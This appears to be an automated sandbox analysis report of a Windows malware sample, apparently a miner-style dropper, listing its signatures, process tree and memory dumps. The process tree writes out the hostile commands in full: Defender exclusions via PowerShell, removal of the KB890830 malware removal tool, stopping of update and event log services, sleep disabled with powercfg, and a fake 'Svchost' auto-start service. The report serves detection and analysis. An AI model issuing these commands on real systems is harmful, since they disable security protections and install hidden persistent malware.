Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 23:58

General

  • Target
    8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
  • Size 8.3MB
  • Sample260910-31ftzafb38
  • SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
    "C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3868
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5864
      • C:\Windows\System32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:4608
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:5924
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:3376
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:428
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:364
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:4812
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5752
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4744
      • C:\Windows\system32\dialer.exe
        C:\Windows\system32\dialer.exe
        2⤵
          PID:2796
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "Svchost"
          2⤵
          • Launches sc.exe
          PID:1920
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"
          2⤵
          • Launches sc.exe
          PID:468
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          2⤵
          • Launches sc.exe
          PID:3680
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "Svchost"
          2⤵
          • Launches sc.exe
          PID:1328
      • C:\ProgramData\Svchost.exe
        C:\ProgramData\Svchost.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1524
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\System32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:4136
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:4532
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:6012
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:3904
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:4640
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:4204
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5704
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1548
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1940
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5816
          • C:\Windows\system32\dialer.exe
            C:\Windows\system32\dialer.exe
            2⤵
              PID:3964
            • C:\Windows\system32\dialer.exe
              C:\Windows\system32\dialer.exe
              2⤵
                PID:3272
              • C:\Windows\system32\dialer.exe
                dialer.exe
                2⤵
                  PID:2788

              Network

                    MITRE ATT&CK Enterprise v16

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                    Downloads

                    Svchost.exe

                    • Path C:\ProgramData\Svchost.exe
                    • Size 8.3MB
                    • SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    __PSScriptPolicyTest_iynrj5yo.2nl.ps1

                    • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_iynrj5yo.2nl.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    memory/1432-47-0x0000000140000000-0x000000014102C000-memory.dmp

                    memory/1524-53-0x0000013BE7A40000-0x0000013BE7AF2000-memory.dmp

                    memory/2788-67-0x0000000140000000-0x00000001408CB000-memory.dmp

                    memory/2788-68-0x0000000140000000-0x00000001408CB000-memory.dmp

                    memory/2788-69-0x0000000140000000-0x00000001408CB000-memory.dmp

                    memory/2796-37-0x0000000140000000-0x000000014002B000-memory.dmp

                    memory/2796-35-0x0000000140000000-0x000000014002B000-memory.dmp

                    memory/2796-34-0x0000000140000000-0x000000014002B000-memory.dmp

                    memory/2796-36-0x0000000140000000-0x000000014002B000-memory.dmp

                    memory/3272-62-0x0000000140000000-0x0000000140014000-memory.dmp

                    memory/3272-61-0x0000000140000000-0x0000000140014000-memory.dmp

                    memory/3272-60-0x0000000140000000-0x0000000140014000-memory.dmp

                    memory/3272-64-0x0000000140000000-0x0000000140014000-memory.dmp

                    memory/3272-63-0x0000000140000000-0x0000000140014000-memory.dmp

                    memory/3868-27-0x000002715B090000-0x000002715B142000-memory.dmp

                    memory/3868-16-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-21-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-22-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-23-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-26-0x0000027142C90000-0x0000027142CAE000-memory.dmp

                    memory/3868-6-0x00007FFA31B5F000-0x00007FFA31B60000-memory.dmp

                    memory/3868-28-0x0000027142CB0000-0x0000027142CBA000-memory.dmp

                    memory/3868-29-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-30-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-32-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-7-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-19-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-18-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-17-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-20-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-8-0x0000027142B80000-0x0000027142BA2000-memory.dmp

                    memory/3868-9-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-12-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-15-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-14-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/3868-13-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

                    memory/4860-42-0x0000000140000000-0x000000014102C000-memory.dmp

                    memory/4860-41-0x0000000140000000-0x000000014102C000-memory.dmp

                    memory/4860-40-0x00000001405C4000-0x00000001407DF000-memory.dmp

                    memory/4860-33-0x00000001405C4000-0x00000001407DF000-memory.dmp

                    memory/4860-0-0x00000001405C4000-0x00000001407DF000-memory.dmp

                    memory/4860-5-0x0000000140000000-0x000000014102C000-memory.dmp

                    memory/4860-3-0x0000000140000000-0x000000014102C000-memory.dmp

                    memory/4860-1-0x00007FFA54A70000-0x00007FFA54A72000-memory.dmp

                    memory/4860-2-0x00007FFA54A80000-0x00007FFA54A82000-memory.dmp